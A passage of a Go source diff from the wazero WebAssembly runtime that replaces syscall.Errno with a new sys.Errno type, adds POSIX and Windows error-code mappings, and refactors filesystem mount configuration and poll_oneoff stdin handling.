||||
return 0
|
||||
}
|
||||
err = underlyingError(err)
|
||||
if se, ok := err.(syscall.Errno); ok {
|
||||
return adjustErrno(se)
|
||||
}
|
||||
// Below are all the fs.ErrXXX in fs.go.
|
||||
//
|
||||
// Note: Once we have our own file type, we should never see these.
|
||||
switch err {
|
||||
case nil, io.EOF:
|
||||
return 0 // EOF is not a syscall.Errno
|
||||
return 0 // EOF is not a Errno
|
||||
case fs.ErrInvalid:
|
||||
return syscall.EINVAL
|
||||
return EINVAL
|
||||
case fs.ErrPermission:
|
||||
return syscall.EPERM
|
||||
return EPERM
|
||||
case fs.ErrExist:
|
||||
return syscall.EEXIST
|
||||
return EEXIST
|
||||
case fs.ErrNotExist:
|
||||
return syscall.ENOENT
|
||||
return ENOENT
|
||||
case fs.ErrClosed:
|
||||
return syscall.EBADF
|
||||
return EBADF
|
||||
}
|
||||
return syscall.EIO
|
||||
return errorToErrno(err)
|
||||
}
|
||||
|
||||
// underlyingError returns the underlying error if a well-known OS error type.
|
||||
+98
@@ -0,0 +1,98 @@
|
||||
package sys
|
||||
|
||||
import "syscall"
|
||||
|
||||
func syscallToErrno(errno syscall.Errno) Errno {
|
||||
switch errno {
|
||||
case 0:
|
||||
return 0
|
||||
case syscall.EACCES:
|
||||
return EACCES
|
||||
case syscall.EAGAIN:
|
||||
return EAGAIN
|
||||
case syscall.EBADF:
|
||||
return EBADF
|
||||
case syscall.EEXIST:
|
||||
return EEXIST
|
||||
case syscall.EFAULT:
|
||||
return EFAULT
|
||||
case syscall.EINTR:
|
||||
return EINTR
|
||||
case syscall.EINVAL:
|
||||
return EINVAL
|
||||
case syscall.EIO:
|
||||
return EIO
|
||||
case syscall.EISDIR:
|
||||
return EISDIR
|
||||
case syscall.ELOOP:
|
||||
return ELOOP
|
||||
case syscall.ENAMETOOLONG:
|
||||
return ENAMETOOLONG
|
||||
case syscall.ENOENT:
|
||||
return ENOENT
|
||||
case syscall.ENOSYS:
|
||||
return ENOSYS
|
||||
case syscall.ENOTDIR:
|
||||
return ENOTDIR
|
||||
case syscall.ENOTEMPTY:
|
||||
return ENOTEMPTY
|
||||
case syscall.ENOTSOCK:
|
||||
return ENOTSOCK
|
||||
case syscall.ENOTSUP:
|
||||
return ENOTSUP
|
||||
case syscall.EPERM:
|
||||
return EPERM
|
||||
case syscall.EROFS:
|
||||
return EROFS
|
||||
default:
|
||||
return EIO
|
||||
}
|
||||
}
|
||||
|
||||
// Unwrap is a convenience for runtime.GOOS which define syscall.Errno.
|
||||
func (e Errno) Unwrap() error {
|
||||
switch e {
|
||||
case 0:
|
||||
return nil
|
||||
case EACCES:
|
||||
return syscall.EACCES
|
||||
case EAGAIN:
|
||||
return syscall.EAGAIN
|
||||
case EBADF:
|
||||
return syscall.EBADF
|
||||
case EEXIST:
|
||||
return syscall.EEXIST
|
||||
case EFAULT:
|
||||
return syscall.EFAULT
|
||||
case EINTR:
|
||||
return syscall.EINTR
|
||||
case EINVAL:
|
||||
return syscall.EINVAL
|
||||
case EIO:
|
||||
return syscall.EIO
|
||||
case EISDIR:
|
||||
return syscall.EISDIR
|
||||
case ELOOP:
|
||||
return syscall.ELOOP
|
||||
case ENAMETOOLONG:
|
||||
return syscall.ENAMETOOLONG
|
||||
case ENOENT:
|
||||
return syscall.ENOENT
|
||||
case ENOSYS:
|
||||
return syscall.ENOSYS
|
||||
case ENOTDIR:
|
||||
return syscall.ENOTDIR
|
||||
case ENOTEMPTY:
|
||||
return syscall.ENOTEMPTY
|
||||
case ENOTSOCK:
|
||||
return syscall.ENOTSOCK
|
||||
case ENOTSUP:
|
||||
return syscall.ENOTSUP
|
||||
case EPERM:
|
||||
return syscall.EPERM
|
||||
case EROFS:
|
||||
return syscall.EROFS
|
||||
default:
|
||||
return syscall.EIO
|
||||
}
|
||||
}
|
||||
Generated
Vendored
+16
@@ -0,0 +1,16 @@
|
||||
//go:build !windows
|
||||
|
||||
package sys
|
||||
|
||||
import "syscall"
|
||||
|
||||
func errorToErrno(err error) Errno {
|
||||
switch err := err.(type) {
|
||||
case Errno:
|
||||
return err
|
||||
case syscall.Errno:
|
||||
return syscallToErrno(err)
|
||||
default:
|
||||
return EIO
|
||||
}
|
||||
}
|
||||
+61
@@ -0,0 +1,61 @@
|
||||
package sys
|
||||
|
||||
import "syscall"
|
||||
|
||||
// These are errors not defined in the syscall package. They are prefixed with
|
||||
// underscore to avoid exporting them.
|
||||
//
|
||||
// See https://learn.microsoft.com/en-us/windows/win32/debug/system-error-codes--0-499-
|
||||
const (
|
||||
// _ERROR_INVALID_HANDLE is a Windows error returned by syscall.Write
|
||||
// instead of syscall.EBADF
|
||||
_ERROR_INVALID_HANDLE = syscall.Errno(6)
|
||||
|
||||
// _ERROR_INVALID_NAME is a Windows error returned by open when a file
|
||||
// path has a trailing slash
|
||||
_ERROR_INVALID_NAME = syscall.Errno(0x7B)
|
||||
|
||||
// _ERROR_NEGATIVE_SEEK is a Windows error returned by os.Truncate
|
||||
// instead of syscall.EINVAL
|
||||
_ERROR_NEGATIVE_SEEK = syscall.Errno(0x83)
|
||||
|
||||
// _ERROR_DIRECTORY is a Windows error returned by syscall.Rmdir
|
||||
// instead of syscall.ENOTDIR
|
||||
_ERROR_DIRECTORY = syscall.Errno(0x10B)
|
||||
|
||||
// _ERROR_INVALID_SOCKET is a Windows error returned by winsock_select
|
||||
// when a given handle is not a socket.
|
||||
_ERROR_INVALID_SOCKET = syscall.Errno(0x2736)
|
||||
)
|
||||
|
||||
func errorToErrno(err error) Errno {
|
||||
switch err := err.(type) {
|
||||
case Errno:
|
||||
return err
|
||||
case syscall.Errno:
|
||||
// Note: In windows, _ERROR_PATH_NOT_FOUND(0x3) maps to syscall.ENOTDIR
|
||||
switch err {
|
||||
case syscall.ERROR_ALREADY_EXISTS:
|
||||
return EEXIST
|
||||
case _ERROR_DIRECTORY:
|
||||
return ENOTDIR
|
||||
case syscall.ERROR_DIR_NOT_EMPTY:
|
||||
return ENOTEMPTY
|
||||
case syscall.ERROR_FILE_EXISTS:
|
||||
return EEXIST
|
||||
case _ERROR_INVALID_HANDLE, _ERROR_INVALID_SOCKET:
|
||||
return EBADF
|
||||
case syscall.ERROR_ACCESS_DENIED:
|
||||
// POSIX read and write functions expect EBADF, not EACCES when not
|
||||
// open for reading or writing.
|
||||
return EBADF
|
||||
case syscall.ERROR_PRIVILEGE_NOT_HELD:
|
||||
return EPERM
|
||||
case _ERROR_NEGATIVE_SEEK, _ERROR_INVALID_NAME:
|
||||
return EINVAL
|
||||
}
|
||||
return syscallToErrno(err)
|
||||
default:
|
||||
return EIO
|
||||
}
|
||||
}
|
||||
+30
-5
@@ -4,6 +4,7 @@ import (
|
||||
"io/fs"
|
||||
|
||||
"github.com/tetratelabs/wazero/internal/fsapi"
|
||||
"github.com/tetratelabs/wazero/internal/sys"
|
||||
"github.com/tetratelabs/wazero/internal/sysfs"
|
||||
)
|
||||
|
||||
@@ -30,8 +31,7 @@ import (
|
||||
//
|
||||
// More notes on `guestPath`
|
||||
// - Go compiled with runtime.GOOS=js do not pay attention to this value.
|
||||
// Hence, you need to normalize the filesystem with NewRootFS to ensure
|
||||
// paths requested resolve as expected.
|
||||
// It only works with root mounts ("").
|
||||
// - Working directories are typically tracked in wasm, though possible some
|
||||
// relative paths are requested. For example, TinyGo may attempt to resolve
|
||||
// a path "../.." in unit tests.
|
||||
@@ -118,6 +118,18 @@ type FSConfig interface {
|
||||
// advise using WithDirMount instead. There will be behavior differences
|
||||
// between os.DirFS and WithDirMount, as the latter biases towards what's
|
||||
// expected from WASI implementations.
|
||||
//
|
||||
// # Custom fs.FileInfo
|
||||
//
|
||||
// The underlying implementation supports data not usually in fs.FileInfo
|
||||
// when `info.Sys` returns *sys.Stat_t. For example, a custom fs.FS can use
|
||||
// this approach to generate or mask sys.Inode data. Such a filesystem
|
||||
// needs to decorate any functions that can return fs.FileInfo:
|
||||
//
|
||||
// - `Stat` as defined on `fs.File` (always)
|
||||
// - `Readdir` as defined on `os.File` (if defined)
|
||||
//
|
||||
// See sys.NewStat_t for examples.
|
||||
WithFSMount(fs fs.FS, guestPath string) FSConfig
|
||||
}
|
||||
|
||||
@@ -167,7 +179,10 @@ func (c *fsConfig) WithFSMount(fs fs.FS, guestPath string) FSConfig {
|
||||
}
|
||||
|
||||
func (c *fsConfig) withMount(fs fsapi.FS, guestPath string) FSConfig {
|
||||
cleaned := sysfs.StripPrefixesAndTrailingSlash(guestPath)
|
||||
if _, ok := fs.(fsapi.UnimplementedFS); ok {
|
||||
return c // don't add fake paths.
|
||||
}
|
||||
cleaned := sys.StripPrefixesAndTrailingSlash(guestPath)
|
||||
ret := c.clone()
|
||||
if i, ok := ret.guestPathToFS[cleaned]; ok {
|
||||
ret.fs[i] = fs
|
||||
@@ -180,6 +195,16 @@ func (c *fsConfig) withMount(fs fsapi.FS, guestPath string) FSConfig {
|
||||
return ret
|
||||
}
|
||||
|
||||
func (c *fsConfig) toFS() (fsapi.FS, error) {
|
||||
return sysfs.NewRootFS(c.fs, c.guestPaths)
|
||||
// preopens returns the possible nil index-correlated preopened filesystems
|
||||
// with guest paths.
|
||||
func (c *fsConfig) preopens() ([]fsapi.FS, []string) {
|
||||
preopenCount := len(c.fs)
|
||||
if preopenCount == 0 {
|
||||
return nil, nil
|
||||
}
|
||||
fs := make([]fsapi.FS, len(c.fs))
|
||||
copy(fs, c.fs)
|
||||
guestPaths := make([]string, len(c.guestPaths))
|
||||
copy(guestPaths, c.guestPaths)
|
||||
return fs, guestPaths
|
||||
}
|
||||
+7
-7
@@ -2,9 +2,9 @@ package wasi_snapshot_preview1
|
||||
|
||||
import (
|
||||
"context"
|
||||
"syscall"
|
||||
|
||||
"github.com/tetratelabs/wazero/api"
|
||||
"github.com/tetratelabs/wazero/experimental/sys"
|
||||
"github.com/tetratelabs/wazero/internal/wasip1"
|
||||
"github.com/tetratelabs/wazero/internal/wasm"
|
||||
)
|
||||
@@ -23,7 +23,7 @@ import (
|
||||
// Result (Errno)
|
||||
//
|
||||
// The return value is ErrnoSuccess except the following error conditions:
|
||||
// - syscall.EFAULT: there is not enough memory to write results
|
||||
// - sys.EFAULT: there is not enough memory to write results
|
||||
//
|
||||
// For example, if argsSizesGet wrote argc=2 and argvLen=5 for arguments:
|
||||
// "a" and "bc" parameters argv=7 and argvBuf=1, this function writes the below
|
||||
@@ -43,7 +43,7 @@ import (
|
||||
// See https://en.wikipedia.org/wiki/Null-terminated_string
|
||||
var argsGet = newHostFunc(wasip1.ArgsGetName, argsGetFn, []api.ValueType{i32, i32}, "argv", "argv_buf")
|
||||
|
||||
func argsGetFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno {
|
||||
func argsGetFn(_ context.Context, mod api.Module, params []uint64) sys.Errno {
|
||||
sysCtx := mod.(*wasm.ModuleInstance).Sys
|
||||
argv, argvBuf := uint32(params[0]), uint32(params[1])
|
||||
return writeOffsetsAndNullTerminatedValues(mod.Memory(), sysCtx.Args(), argv, argvBuf, sysCtx.ArgsSize())
|
||||
@@ -61,7 +61,7 @@ func argsGetFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno
|
||||
// Result (Errno)
|
||||
//
|
||||
// The return value is ErrnoSuccess except the following error conditions:
|
||||
// - syscall.EFAULT: there is not enough memory to write results
|
||||
// - sys.EFAULT: there is not enough memory to write results
|
||||
//
|
||||
// For example, if args are "a", "bc" and parameters resultArgc=1 and
|
||||
// resultArgvLen=6, this function writes the below to api.Memory:
|
||||
@@ -80,7 +80,7 @@ func argsGetFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno
|
||||
// See https://en.wikipedia.org/wiki/Null-terminated_string
|
||||
var argsSizesGet = newHostFunc(wasip1.ArgsSizesGetName, argsSizesGetFn, []api.ValueType{i32, i32}, "result.argc", "result.argv_len")
|
||||
|
||||
func argsSizesGetFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno {
|
||||
func argsSizesGetFn(_ context.Context, mod api.Module, params []uint64) sys.Errno {
|
||||
sysCtx := mod.(*wasm.ModuleInstance).Sys
|
||||
mem := mod.Memory()
|
||||
resultArgc, resultArgvLen := uint32(params[0]), uint32(params[1])
|
||||
@@ -88,10 +88,10 @@ func argsSizesGetFn(_ context.Context, mod api.Module, params []uint64) syscall.
|
||||
// argc and argv_len offsets are not necessarily sequential, so we have to
|
||||
// write them independently.
|
||||
if !mem.WriteUint32Le(resultArgc, uint32(len(sysCtx.Args()))) {
|
||||
return syscall.EFAULT
|
||||
return sys.EFAULT
|
||||
}
|
||||
if !mem.WriteUint32Le(resultArgvLen, sysCtx.ArgsSize()) {
|
||||
return syscall.EFAULT
|
||||
return sys.EFAULT
|
||||
}
|
||||
return 0
|
||||
}
|
||||
+13
-13
@@ -2,9 +2,9 @@ package wasi_snapshot_preview1
|
||||
|
||||
import (
|
||||
"context"
|
||||
"syscall"
|
||||
|
||||
"github.com/tetratelabs/wazero/api"
|
||||
"github.com/tetratelabs/wazero/experimental/sys"
|
||||
"github.com/tetratelabs/wazero/internal/wasip1"
|
||||
"github.com/tetratelabs/wazero/internal/wasm"
|
||||
)
|
||||
@@ -21,9 +21,9 @@ import (
|
||||
// Result (Errno)
|
||||
//
|
||||
// The return value is 0 except the following error conditions:
|
||||
// - syscall.ENOTSUP: the clock ID is not supported.
|
||||
// - syscall.EINVAL: the clock ID is invalid.
|
||||
// - syscall.EFAULT: there is not enough memory to write results
|
||||
// - sys.ENOTSUP: the clock ID is not supported.
|
||||
// - sys.EINVAL: the clock ID is invalid.
|
||||
// - sys.EFAULT: there is not enough memory to write results
|
||||
//
|
||||
// For example, if the resolution is 100ns, this function writes the below to
|
||||
// api.Memory:
|
||||
@@ -39,7 +39,7 @@ import (
|
||||
// See https://linux.die.net/man/3/clock_getres
|
||||
var clockResGet = newHostFunc(wasip1.ClockResGetName, clockResGetFn, []api.ValueType{i32, i32}, "id", "result.resolution")
|
||||
|
||||
func clockResGetFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno {
|
||||
func clockResGetFn(_ context.Context, mod api.Module, params []uint64) sys.Errno {
|
||||
sysCtx := mod.(*wasm.ModuleInstance).Sys
|
||||
id, resultResolution := uint32(params[0]), uint32(params[1])
|
||||
|
||||
@@ -50,11 +50,11 @@ func clockResGetFn(_ context.Context, mod api.Module, params []uint64) syscall.E
|
||||
case wasip1.ClockIDMonotonic:
|
||||
resolution = uint64(sysCtx.NanotimeResolution())
|
||||
default:
|
||||
return syscall.EINVAL
|
||||
return sys.EINVAL
|
||||
}
|
||||
|
||||
if !mod.Memory().WriteUint64Le(resultResolution, resolution) {
|
||||
return syscall.EFAULT
|
||||
return sys.EFAULT
|
||||
}
|
||||
return 0
|
||||
}
|
||||
@@ -73,9 +73,9 @@ func clockResGetFn(_ context.Context, mod api.Module, params []uint64) syscall.E
|
||||
// Result (Errno)
|
||||
//
|
||||
// The return value is 0 except the following error conditions:
|
||||
// - syscall.ENOTSUP: the clock ID is not supported.
|
||||
// - syscall.EINVAL: the clock ID is invalid.
|
||||
// - syscall.EFAULT: there is not enough memory to write results
|
||||
// - sys.ENOTSUP: the clock ID is not supported.
|
||||
// - sys.EINVAL: the clock ID is invalid.
|
||||
// - sys.EFAULT: there is not enough memory to write results
|
||||
//
|
||||
// For example, if time.Now returned exactly midnight UTC 2022-01-01
|
||||
// (1640995200000000000), and parameters resultTimestamp=1, this function
|
||||
@@ -92,7 +92,7 @@ func clockResGetFn(_ context.Context, mod api.Module, params []uint64) syscall.E
|
||||
// See https://linux.die.net/man/3/clock_gettime
|
||||
var clockTimeGet = newHostFunc(wasip1.ClockTimeGetName, clockTimeGetFn, []api.ValueType{i32, i64, i32}, "id", "precision", "result.timestamp")
|
||||
|
||||
func clockTimeGetFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno {
|
||||
func clockTimeGetFn(_ context.Context, mod api.Module, params []uint64) sys.Errno {
|
||||
sysCtx := mod.(*wasm.ModuleInstance).Sys
|
||||
id := uint32(params[0])
|
||||
// TODO: precision is currently ignored.
|
||||
@@ -106,11 +106,11 @@ func clockTimeGetFn(_ context.Context, mod api.Module, params []uint64) syscall.
|
||||
case wasip1.ClockIDMonotonic:
|
||||
val = sysCtx.Nanotime()
|
||||
default:
|
||||
return syscall.EINVAL
|
||||
return sys.EINVAL
|
||||
}
|
||||
|
||||
if !mod.Memory().WriteUint64Le(resultTimestamp, uint64(val)) {
|
||||
return syscall.EFAULT
|
||||
return sys.EFAULT
|
||||
}
|
||||
return 0
|
||||
}
|
||||
+7
-7
@@ -2,9 +2,9 @@ package wasi_snapshot_preview1
|
||||
|
||||
import (
|
||||
"context"
|
||||
"syscall"
|
||||
|
||||
"github.com/tetratelabs/wazero/api"
|
||||
"github.com/tetratelabs/wazero/experimental/sys"
|
||||
"github.com/tetratelabs/wazero/internal/wasip1"
|
||||
"github.com/tetratelabs/wazero/internal/wasm"
|
||||
)
|
||||
@@ -24,7 +24,7 @@ import (
|
||||
// Result (Errno)
|
||||
//
|
||||
// The return value is 0 except the following error conditions:
|
||||
// - syscall.EFAULT: there is not enough memory to write results
|
||||
// - sys.EFAULT: there is not enough memory to write results
|
||||
//
|
||||
// For example, if environSizesGet wrote environc=2 and environLen=9 for
|
||||
// environment variables: "a=b", "b=cd" and parameters environ=11 and
|
||||
@@ -43,7 +43,7 @@ import (
|
||||
// See https://en.wikipedia.org/wiki/Null-terminated_string
|
||||
var environGet = newHostFunc(wasip1.EnvironGetName, environGetFn, []api.ValueType{i32, i32}, "environ", "environ_buf")
|
||||
|
||||
func environGetFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno {
|
||||
func environGetFn(_ context.Context, mod api.Module, params []uint64) sys.Errno {
|
||||
sysCtx := mod.(*wasm.ModuleInstance).Sys
|
||||
environ, environBuf := uint32(params[0]), uint32(params[1])
|
||||
|
||||
@@ -63,7 +63,7 @@ func environGetFn(_ context.Context, mod api.Module, params []uint64) syscall.Er
|
||||
// Result (Errno)
|
||||
//
|
||||
// The return value is 0 except the following error conditions:
|
||||
// - syscall.EFAULT: there is not enough memory to write results
|
||||
// - sys.EFAULT: there is not enough memory to write results
|
||||
//
|
||||
// For example, if environ are "a=b","b=cd" and parameters resultEnvironc=1 and
|
||||
// resultEnvironvLen=6, this function writes the below to api.Memory:
|
||||
@@ -83,7 +83,7 @@ func environGetFn(_ context.Context, mod api.Module, params []uint64) syscall.Er
|
||||
// and https://en.wikipedia.org/wiki/Null-terminated_string
|
||||
var environSizesGet = newHostFunc(wasip1.EnvironSizesGetName, environSizesGetFn, []api.ValueType{i32, i32}, "result.environc", "result.environv_len")
|
||||
|
||||
func environSizesGetFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno {
|
||||
func environSizesGetFn(_ context.Context, mod api.Module, params []uint64) sys.Errno {
|
||||
sysCtx := mod.(*wasm.ModuleInstance).Sys
|
||||
mem := mod.Memory()
|
||||
resultEnvironc, resultEnvironvLen := uint32(params[0]), uint32(params[1])
|
||||
@@ -91,10 +91,10 @@ func environSizesGetFn(_ context.Context, mod api.Module, params []uint64) sysca
|
||||
// environc and environv_len offsets are not necessarily sequential, so we
|
||||
// have to write them independently.
|
||||
if !mem.WriteUint32Le(resultEnvironc, uint32(len(sysCtx.Environ()))) {
|
||||
return syscall.EFAULT
|
||||
return sys.EFAULT
|
||||
}
|
||||
if !mem.WriteUint32Le(resultEnvironvLen, sysCtx.EnvironSize()) {
|
||||
return syscall.EFAULT
|
||||
return sys.EFAULT
|
||||
}
|
||||
return 0
|
||||
}
|
||||
+308
-270
File diff suppressed because it is too large.
Load diff
+39
-48
@@ -2,10 +2,10 @@ package wasi_snapshot_preview1
|
||||
|
||||
import (
|
||||
"context"
|
||||
"syscall"
|
||||
"time"
|
||||
|
||||
"github.com/tetratelabs/wazero/api"
|
||||
"github.com/tetratelabs/wazero/experimental/sys"
|
||||
internalsys "github.com/tetratelabs/wazero/internal/sys"
|
||||
"github.com/tetratelabs/wazero/internal/wasip1"
|
||||
"github.com/tetratelabs/wazero/internal/wasm"
|
||||
@@ -18,15 +18,15 @@ import (
|
||||
//
|
||||
// - in: pointer to the subscriptions (48 bytes each)
|
||||
// - out: pointer to the resulting events (32 bytes each)
|
||||
// - nsubscriptions: count of subscriptions, zero returns syscall.EINVAL.
|
||||
// - nsubscriptions: count of subscriptions, zero returns sys.EINVAL.
|
||||
// - resultNevents: count of events.
|
||||
//
|
||||
// Result (Errno)
|
||||
//
|
||||
// The return value is 0 except the following error conditions:
|
||||
// - syscall.EINVAL: the parameters are invalid
|
||||
// - syscall.ENOTSUP: a parameters is valid, but not yet supported.
|
||||
// - syscall.EFAULT: there is not enough memory to read the subscriptions or
|
||||
// - sys.EINVAL: the parameters are invalid
|
||||
// - sys.ENOTSUP: a parameters is valid, but not yet supported.
|
||||
// - sys.EFAULT: there is not enough memory to read the subscriptions or
|
||||
// write results.
|
||||
//
|
||||
// # Notes
|
||||
@@ -49,14 +49,14 @@ type event struct {
|
||||
outOffset uint32
|
||||
}
|
||||
|
||||
func pollOneoffFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno {
|
||||
func pollOneoffFn(_ context.Context, mod api.Module, params []uint64) sys.Errno {
|
||||
in := uint32(params[0])
|
||||
out := uint32(params[1])
|
||||
nsubscriptions := uint32(params[2])
|
||||
resultNevents := uint32(params[3])
|
||||
|
||||
if nsubscriptions == 0 {
|
||||
return syscall.EINVAL
|
||||
return sys.EINVAL
|
||||
}
|
||||
|
||||
mem := mod.Memory()
|
||||
@@ -64,7 +64,7 @@ func pollOneoffFn(_ context.Context, mod api.Module, params []uint64) syscall.Er
|
||||
// Ensure capacity prior to the read loop to reduce error handling.
|
||||
inBuf, ok := mem.Read(in, nsubscriptions*48)
|
||||
if !ok {
|
||||
return syscall.EFAULT
|
||||
return sys.EFAULT
|
||||
}
|
||||
outBuf, ok := mem.Read(out, nsubscriptions*32)
|
||||
// zero-out all buffer before writing
|
||||
@@ -73,21 +73,21 @@ func pollOneoffFn(_ context.Context, mod api.Module, params []uint64) syscall.Er
|
||||
}
|
||||
|
||||
if !ok {
|
||||
return syscall.EFAULT
|
||||
return sys.EFAULT
|
||||
}
|
||||
|
||||
// Eagerly write the number of events which will equal subscriptions unless
|
||||
// there's a fault in parsing (not processing).
|
||||
if !mod.Memory().WriteUint32Le(resultNevents, nsubscriptions) {
|
||||
return syscall.EFAULT
|
||||
return sys.EFAULT
|
||||
}
|
||||
|
||||
// Loop through all subscriptions and write their output.
|
||||
|
||||
// Extract FS context, used in the body of the for loop for FS access.
|
||||
fsc := mod.(*wasm.ModuleInstance).Sys.FS()
|
||||
// Slice of events that are processed out of the loop (stdin subscribers).
|
||||
var stdinSubs []*event
|
||||
// Slice of events that are processed out of the loop (blocking stdin subscribers).
|
||||
var blockingStdinSubs []*event
|
||||
// The timeout is initialized at max Duration, the loop will find the minimum.
|
||||
var timeout time.Duration = 1<<63 - 1
|
||||
// Count of all the clock subscribers that have been already written back to outBuf.
|
||||
@@ -129,27 +129,35 @@ func pollOneoffFn(_ context.Context, mod api.Module, params []uint64) syscall.Er
|
||||
case wasip1.EventTypeFdRead:
|
||||
fd := int32(le.Uint32(argBuf))
|
||||
if fd < 0 {
|
||||
return syscall.EBADF
|
||||
return sys.EBADF
|
||||
}
|
||||
if fd == internalsys.FdStdin {
|
||||
// if the fd is Stdin, do not ack yet,
|
||||
// append to a slice for delayed evaluation.
|
||||
stdinSubs = append(stdinSubs, evt)
|
||||
if file, ok := fsc.LookupFile(fd); !ok {
|
||||
evt.errno = wasip1.ErrnoBadf
|
||||
writeEvent(outBuf, evt)
|
||||
readySubs++
|
||||
continue
|
||||
} else if fd == internalsys.FdStdin && !file.File.IsNonblock() {
|
||||
// if the fd is Stdin, and it is in non-blocking mode,
|
||||
// do not ack yet, append to a slice for delayed evaluation.
|
||||
blockingStdinSubs = append(blockingStdinSubs, evt)
|
||||
} else {
|
||||
evt.errno = processFDEventRead(fsc, fd)
|
||||
writeEvent(outBuf, evt)
|
||||
readySubs++
|
||||
}
|
||||
case wasip1.EventTypeFdWrite:
|
||||
fd := int32(le.Uint32(argBuf))
|
||||
if fd < 0 {
|
||||
return syscall.EBADF
|
||||
return sys.EBADF
|
||||
}
|
||||
if _, ok := fsc.LookupFile(fd); ok {
|
||||
evt.errno = wasip1.ErrnoNotsup
|
||||
} else {
|
||||
evt.errno = wasip1.ErrnoBadf
|
||||
}
|
||||
evt.errno = processFDEventWrite(fsc, fd)
|
||||
readySubs++
|
||||
writeEvent(outBuf, evt)
|
||||
default:
|
||||
return syscall.EINVAL
|
||||
return sys.EINVAL
|
||||
}
|
||||
}
|
||||
|
||||
@@ -159,11 +167,11 @@ func pollOneoffFn(_ context.Context, mod api.Module, params []uint64) syscall.Er
|
||||
timeout = 0
|
||||
}
|
||||
|
||||
// If there are stdin subscribers, check for data with given timeout.
|
||||
if len(stdinSubs) > 0 {
|
||||
// If there are blocking stdin subscribers, check for data with given timeout.
|
||||
if len(blockingStdinSubs) > 0 {
|
||||
stdin, ok := fsc.LookupFile(internalsys.FdStdin)
|
||||
if !ok {
|
||||
return syscall.EBADF
|
||||
return sys.EBADF
|
||||
}
|
||||
// Wait for the timeout to expire, or for some data to become available on Stdin.
|
||||
stdinReady, errno := stdin.File.PollRead(&timeout)
|
||||
@@ -172,9 +180,9 @@ func pollOneoffFn(_ context.Context, mod api.Module, params []uint64) syscall.Er
|
||||
}
|
||||
if stdinReady {
|
||||
// stdin has data ready to for reading, write back all the events
|
||||
for i := range stdinSubs {
|
||||
for i := range blockingStdinSubs {
|
||||
readySubs++
|
||||
evt := stdinSubs[i]
|
||||
evt := blockingStdinSubs[i]
|
||||
evt.errno = 0
|
||||
writeEvent(outBuf, evt)
|
||||
}
|
||||
@@ -187,7 +195,7 @@ func pollOneoffFn(_ context.Context, mod api.Module, params []uint64) syscall.Er
|
||||
|
||||
if readySubs != nsubscriptions {
|
||||
if !mod.Memory().WriteUint32Le(resultNevents, readySubs+clockEvents) {
|
||||
return syscall.EFAULT
|
||||
return sys.EFAULT
|
||||
}
|
||||
}
|
||||
|
||||
@@ -196,20 +204,20 @@ func pollOneoffFn(_ context.Context, mod api.Module, params []uint64) syscall.Er
|
||||
|
||||
// processClockEvent supports only relative name events, as that's what's used
|
||||
// to implement sleep in various compilers including Rust, Zig and TinyGo.
|
||||
func processClockEvent(inBuf []byte) (time.Duration, syscall.Errno) {
|
||||
func processClockEvent(inBuf []byte) (time.Duration, sys.Errno) {
|
||||
_ /* ID */ = le.Uint32(inBuf[0:8]) // See below
|
||||
timeout := le.Uint64(inBuf[8:16]) // nanos if relative
|
||||
_ /* precision */ = le.Uint64(inBuf[16:24]) // Unused
|
||||
flags := le.Uint16(inBuf[24:32])
|
||||
|
||||
var err syscall.Errno
|
||||
var err sys.Errno
|
||||
// subclockflags has only one flag defined: subscription_clock_abstime
|
||||
switch flags {
|
||||
case 0: // relative time
|
||||
case 1: // subscription_clock_abstime
|
||||
err = syscall.ENOTSUP
|
||||
err = sys.ENOTSUP
|
||||
default: // subclockflags has only one flag defined.
|
||||
err = syscall.EINVAL
|
||||
err = sys.EINVAL
|
||||
}
|
||||
|
||||
if err != 0 {
|
||||
@@ -223,23 +231,6 @@ func processClockEvent(inBuf []byte) (time.Duration, syscall.Errno) {
|
||||
}
|
||||
}
|
||||
|
||||
// processFDEventRead returns ErrnoSuccess if the file exists and ErrnoBadf otherwise.
|
||||
func processFDEventRead(fsc *internalsys.FSContext, fd int32) wasip1.Errno {
|
||||
if _, ok := fsc.LookupFile(fd); ok {
|
||||
return wasip1.ErrnoSuccess
|
||||
} else {
|
||||
return wasip1.ErrnoBadf
|
||||
}
|
||||
}
|
||||
|
||||
// processFDEventWrite returns ErrnoNotsup if the file exists and ErrnoBadf otherwise.
|
||||
func processFDEventWrite(fsc *internalsys.FSContext, fd int32) wasip1.Errno {
|
||||
if _, ok := fsc.LookupFile(fd); ok {
|
||||
return wasip1.ErrnoNotsup
|
||||
}
|
||||
return wasip1.ErrnoBadf
|
||||
}
|
||||
|
||||
// writeEvent writes the event corresponding to the processed subscription.
|
||||
// https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#-event-struct
|
||||
func writeEvent(outBuf []byte, evt *event) {
|
||||
|
||||
+6
-6
@@ -3,9 +3,9 @@ package wasi_snapshot_preview1
|
||||
import (
|
||||
"context"
|
||||
"io"
|
||||
"syscall"
|
||||
|
||||
"github.com/tetratelabs/wazero/api"
|
||||
"github.com/tetratelabs/wazero/experimental/sys"
|
||||
"github.com/tetratelabs/wazero/internal/wasip1"
|
||||
"github.com/tetratelabs/wazero/internal/wasm"
|
||||
)
|
||||
@@ -21,8 +21,8 @@ import (
|
||||
// Result (Errno)
|
||||
//
|
||||
// The return value is ErrnoSuccess except the following error conditions:
|
||||
// - syscall.EFAULT: `buf` or `bufLen` point to an offset out of memory
|
||||
// - syscall.EIO: a file system error
|
||||
// - sys.EFAULT: `buf` or `bufLen` point to an offset out of memory
|
||||
// - sys.EIO: a file system error
|
||||
//
|
||||
// For example, if underlying random source was seeded like
|
||||
// `rand.NewSource(42)`, we expect api.Memory to contain:
|
||||
@@ -36,19 +36,19 @@ import (
|
||||
// See https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#-random_getbuf-pointeru8-bufLen-size---errno
|
||||
var randomGet = newHostFunc(wasip1.RandomGetName, randomGetFn, []api.ValueType{i32, i32}, "buf", "buf_len")
|
||||
|
||||
func randomGetFn(_ context.Context, mod api.Module, params []uint64) syscall.Errno {
|
||||
func randomGetFn(_ context.Context, mod api.Module, params []uint64) sys.Errno {
|
||||
